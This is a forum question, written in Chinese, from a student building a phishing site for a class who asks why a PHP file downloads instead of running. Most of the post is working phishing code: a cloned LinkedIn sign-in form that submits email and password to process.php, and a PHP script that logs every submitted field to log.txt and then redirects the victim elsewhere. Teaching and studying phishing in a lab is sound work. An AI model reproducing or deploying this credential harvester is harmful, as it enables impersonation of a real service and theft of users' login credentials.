对于一个类,我必须创建一个在 VM 上运行的网络钓鱼站点。我目前正在我的 PC 上工作,并将网站作为 HTML 运行。
我将“form action=""... 更改为 form action="process.php"...
当我在 action="xyz" 中使用地址或另一个 html 文件时,html 文件可以正常工作,但会下载 .php 文件而不是运行它。
长话短说:我的 HTMl 文件将下载 php 文件而不是运行它
HTML 片段:
action = "process.php" 在第 1 行
<form action="process.php" method="GET" name="login" novalidate="novalidate" id="login" data-jsenabled="check" data-autologin="true" data-existingmembersignin="true">
<input type="hidden" name="isJsEnabled" value="false"/>
<input type="hidden" name="source_app" value=""/>
<input type="hidden" name="tryCount" id="tryCount" value=""/>
<input type="hidden" name="clickedSuggestion" id="clickedSuggestion" value="false" />
<fieldset class="field-container field-container--fixed">
<legend>Sign in to LinkedIn</legend>
<div class="outer-wrapper">
<div class="inner-wrapper">
<div class="logo_container">LinkedIn</div>
<ul class="form-fields" id="mini-profile--js">
<li class="form-email ">
<div class="fieldgroup hide-label">
<label for="session_key-login" >Email address</label>
<span class="error" id="session_key-login-error"></span>
<input type="text" name="session_key" value="" id="session_key-login" placeholder="Email address" aria-describedby="session_key-login-error">
<div class="domain-suggestion hide" id="domainSuggestion">
<span>Did you mean: <a id="suggestion" href="javascript:void(0);"></a>?</span>
</div>
</div>
</li>
<li class="form-password">
<div class="fieldgroup hide-label">
<label for="session_password-login" >Password</label>
<span class="error" id="session_password-login-error"></span>
<div class="password_wrapper">
<input type="password" id="session_password-login" class="password" name="session_password" placeholder="Password" aria-describedby="session_password-login-error"/>
</div>
</div>
</li>
<li class="button form-actions">
<div class="form-buttons">
<input type="submit" name="signin" value="Sign In" class="btn-primary" id="btn-primary">
</div>
<div class="forgot-password-container">
<a data-li-tooltip-id="login-tooltip"
href="/uas/request-password-reset?session_redirect=&trk=uas-login-forgot-password-text"
tracking="uas-login-forgot-password-text" title="Forgot password?">Forgot password?</a>
</div>
<span>Not a member? <a href="/start/join?source=hb_signin&trk=login_iframe_hb_signin">Join now</a></span>
</li>
</ul>
</div>
<div class="gaussian-blur"></div>
</div>
<?php
header ('Location: http://racket-lang.org');
$handle = fopen("log.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
编辑:格式化以使其看起来更好